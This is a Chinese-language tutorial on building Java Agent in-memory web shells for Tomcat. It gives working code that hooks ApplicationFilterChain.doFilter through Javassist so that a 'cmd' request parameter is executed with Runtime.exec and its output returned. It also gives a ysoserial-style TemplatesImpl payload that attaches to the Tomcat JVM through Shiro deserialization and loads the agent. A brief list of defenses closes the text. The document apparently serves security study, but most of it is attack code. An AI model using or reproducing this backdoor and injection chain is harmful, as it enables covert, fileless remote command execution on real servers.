JAVA安全之Java Agent打内存马
字数 1582 2025-08-22 12:23:18
Java Agent内存马技术详解
1. Java Agent基础
1.1 Java Agent概述
Java Agent是一种特殊的Java程序,它允许开发者在Java虚拟机(JVM)启动时或运行期间通过java.lang.instrument包提供的Java标准接口进行代码插桩,从而实现在Java应用程序类加载和运行期间动态修改已加载或者未加载的类,包括类的属性、方法等。
1.2 核心接口
1.2.1 Instrumentation接口
java.lang.instrument.Instrumentation提供了用于监测运行在JVM中的Java API:
void addTransformer(ClassFileTransformer transformer, boolean canRetransform);
void addTransformer(ClassFileTransformer transformer);
boolean removeTransformer(ClassFileTransformer transformer);
void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;
boolean isModifiableClass(Class<?> theClass);
Class[] getAllLoadedClasses();
void redefineClasses(ClassDefinition... definitions) throws ClassNotFoundException, UnmodifiableClassException;
1.2.2 ClassFileTransformer接口
ClassFileTransformer是一个转换类文件代理接口,可以对未加载的类进行拦截,也可对已加载的类进行重新拦截:
public interface ClassFileTransformer {
byte[] transform(ClassLoader loader, String className,
Class<?> classBeingRedefined,
ProtectionDomain protectionDomain,
byte[] classfileBuffer) throws IllegalClassFormatException;
}
1.2.3 VirtualMachine类
com.sun.tools.attach.VirtualMachine类可以实现获取JVM信息、内存dump、线程dump、类信息统计等功能:
attach(): 连接到指定PID的JVMloadAgent(): 向JVM注册代理程序list(): 获得当前所有JVM列表detach(): 解除与JVM的连接
2. Java Agent加载方式
2.1 启动前加载(premain)
premain方法在应用程序主方法(main)执行之前运行:
public static void premain(String agentArgs, Instrumentation inst) {
// 初始化代码
}
示例实现步骤:
- 创建Maven项目并编写premain-Agent类
- 创建MANIFEST.MF清单文件指定Premain-Class
- 打包为Jar文件
- 使用
-javaagent参数加载Agent
2.2 运行时加载(agentmain)
agentmain方法允许在应用程序启动后注入代码:
public static void agentmain(String agentArgs, Instrumentation inst) {
// 注入代码
}
示例实现步骤:
- 编写目标运行程序
- 编写agentmain-Agent类
- 创建MANIFEST.MF清单文件
- 编写注入程序获取目标JVM PID并注入Agent
3. 字节码修改技术
3.1 基本流程
- 获取目标JVM的PID
- 通过
VirtualMachine.attach()连接到目标JVM - 使用
loadAgent()方法加载Agent - 在Agent中注册
ClassFileTransformer - 使用Javassist等工具修改目标类字节码
3.2 示例代码
目标类:
public class Sleep_Hello {
public static void main(String[] args) throws InterruptedException {
while(true){
hello();
sleep(3000);
}
}
public static void hello(){
System.out.println("Hello World!");
}
}
Transformer实现:
public class Hello_Transform implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className,
Class<?> classBeingRedefined,
ProtectionDomain protectionDomain,
byte[] classfileBuffer) {
try {
ClassPool classPool = ClassPool.getDefault();
if(classBeingRedefined != null) {
ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
classPool.insertClassPath(ccp);
}
CtClass ctClass = classPool.get("com.al1ex.Sleep_Hello");
CtMethod ctMethod = ctClass.getDeclaredMethod("hello");
String body = "{System.out.println(\"Hacker!\");}";
ctMethod.setBody(body);
return ctClass.toBytecode();
} catch(Exception e){
e.printStackTrace();
}
return null;
}
}
4. 内存马实现
4.1 内存马原理
通过Java Agent技术修改JVM一定会调用且Hook后不影响正常业务逻辑的方法,如:
org.apache.catalina.core.ApplicationFilterChain.doFilter()javax.servlet.http.HttpServlet.service()
4.2 实现步骤
4.2.1 Agent实现
public class MyAgent {
public static String ClassName = "org.apache.catalina.core.ApplicationFilterChain";
public static void agentmain(String args, Instrumentation inst) throws Exception {
inst.addTransformer(new MyTransformer(), true);
Class[] loadedClasses = inst.getAllLoadedClasses();
for(Class clazz : loadedClasses) {
if(clazz.getName().equals(ClassName)) {
try {
inst.retransformClasses(clazz);
} catch(Exception e) {
e.printStackTrace();
}
}
}
}
}
4.2.2 Transformer实现
public class MyTransformer implements ClassFileTransformer {
public static String ClassName = "org.apache.catalina.core.ApplicationFilterChain";
public byte[] transform(ClassLoader loader, String className,
Class<?> aClass, ProtectionDomain protectionDomain,
byte[] classfileBuffer) {
className = className.replace('/', '.');
if(className.equals(ClassName)) {
ClassPool cp = ClassPool.getDefault();
if(aClass != null) {
ClassClassPath classPath = new ClassClassPath(aClass);
cp.insertClassPath(classPath);
}
try {
CtClass cc = cp.get(className);
CtMethod m = cc.getDeclaredMethod("doFilter");
m.insertBefore(
"javax.servlet.ServletRequest req = request;\n" +
"javax.servlet.ServletResponse res = response;\n" +
"String cmd = req.getParameter(\"cmd\");\n" +
"if(cmd != null) {\n" +
" Process process = Runtime.getRuntime().exec(cmd);\n" +
" java.io.BufferedReader bufferedReader = new java.io.BufferedReader(\n" +
" new java.io.InputStreamReader(process.getInputStream()));\n" +
" StringBuilder stringBuilder = new StringBuilder();\n" +
" String line;\n" +
" while((line = bufferedReader.readLine()) != null) {\n" +
" stringBuilder.append(line + '\\n');\n" +
" }\n" +
" res.getOutputStream().write(stringBuilder.toString().getBytes());\n" +
" res.getOutputStream().flush();\n" +
" res.getOutputStream().close();\n" +
"}"
);
byte[] byteCode = cc.toBytecode();
cc.detach();
return byteCode;
} catch(Exception e) {
e.printStackTrace();
}
}
return new byte[0];
}
}
4.2.3 利用链构造
使用类似Shiro反序列化的方式注入Agent:
public class ShiroAgent {
// 省略部分代码...
public static Object createTemplatesImpl(String agentPath, Class<?> tplClass,
Class<?> abstTranslet, Class<?> transFactory) throws Exception {
T templates = tplClass.newInstance();
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
CtClass clazz = pool.get(StubTransletPayload.class.getName());
String cmd = String.format(
"try {\n" +
" java.io.File toolsJar = new java.io.File(System.getProperty(\"java.home\").replaceFirst(\"jre\", \"lib\") + java.io.File.separator + \"tools.jar\");\n" +
" java.net.URLClassLoader classLoader = (java.net.URLClassLoader) java.lang.ClassLoader.getSystemClassLoader();\n" +
" java.lang.reflect.Method add = java.net.URLClassLoader.class.getDeclaredMethod(\"addURL\", new java.lang.Class[]{java.net.URL.class});\n" +
" add.setAccessible(true);\n" +
" add.invoke(classLoader, new Object[]{toolsJar.toURI().toURL()});\n" +
" Class/*<?>*/ MyVirtualMachine = classLoader.loadClass(\"com.sun.tools.attach.VirtualMachine\");\n" +
" Class/*<?>*/ MyVirtualMachineDescriptor = classLoader.loadClass(\"com.sun.tools.attach.VirtualMachineDescriptor\");" +
" java.lang.reflect.Method list = MyVirtualMachine.getDeclaredMethod(\"list\", null);\n" +
" java.util.List/*<Object>*/ invoke = (java.util.List/*<Object>*/) list.invoke(null, null);" +
" for(int i=0; i<invoke.size(); i++) {\n" +
" Object o = invoke.get(i);\n" +
" java.lang.reflect.Method displayName = o.getClass().getSuperclass().getDeclaredMethod(\"displayName\", null);\n" +
" Object name = displayName.invoke(o, null);\n" +
" if(name.toString().contains(\"org.apache.catalina.startup.Bootstrap\")) {\n" +
" java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod(\"attach\", new Class[]{MyVirtualMachineDescriptor});\n" +
" Object machine = attach.invoke(MyVirtualMachine, new Object[]{o});\n" +
" java.lang.reflect.Method loadAgent = machine.getClass().getSuperclass().getSuperclass().getDeclaredMethod(\"loadAgent\", new Class[]{String.class});\n" +
" loadAgent.invoke(machine, new Object[]{\"%s\"});\n" +
" java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod(\"detach\", null);\n" +
" detach.invoke(machine, null);\n" +
" break;\n" +
" }\n" +
" }\n" +
"} catch(Exception e) {\n" +
" e.printStackTrace();\n" +
"}",
agentPath.replaceAll("\\\\", "\\").replaceAll("\"", "\\\""));
clazz.makeClassInitializer().insertAfter(cmd);
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
byte[] classBytes = clazz.toBytecode();
Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{classBytes, classAsBytes(Foo.class)});
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}
}
5. 防御措施
- 禁用不必要的Agent加载:限制JVM的Agent加载能力
- 监控类字节码修改:使用安全产品监控关键类的字节码变化
- 限制反射调用:限制敏感API的反射调用
- 更新组件版本:及时更新存在漏洞的组件
- 安全审计:定期审计Java应用的运行状态
6. 总结
Java Agent内存马技术通过动态修改JVM中已加载类的字节码实现持久化驻留,具有以下特点:
- 无文件落地,完全驻留在内存中
- 可以绕过常规的文件检测
- 通过修改常用类的方法实现隐蔽执行
- 可利用反序列化等漏洞进行注入
防御此类攻击需要从多个层面进行防护,包括限制Agent加载、监控字节码修改、更新漏洞组件等措施。